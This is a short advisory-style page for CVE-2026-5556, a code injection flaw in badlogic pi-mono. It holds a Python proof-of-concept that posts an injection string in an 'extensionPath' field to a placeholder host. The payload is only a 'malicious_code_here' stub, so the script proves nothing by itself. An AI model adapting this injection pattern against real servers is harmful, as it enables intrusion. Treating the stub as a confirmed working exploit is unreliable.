CVE-2026-5556 badlogic pi-mono代码注入漏洞

import requests # PoC for CVE-2026-5556 # Target: badlogic pi-mono <= 0.58.4 # Description: Sends a malicious payload to trigger code injection in discoverAndLoadExtensions target_url = "http://vulnerable-host:port/api/extensions/load" # Crafted payload to inject code payload = "; malicious_code_here; //" headers = { "Content-Type": "application/json" } data = { "extensionPath": payload } try: response = requests.post(target_url, json=data, headers=headers) print(f"Request sent to {target_url}") print(f"Response Status: {response.status_code}") print("If vulnerable, code execution may have occurred.") except Exception as e: print(f"An error occurred: {e}")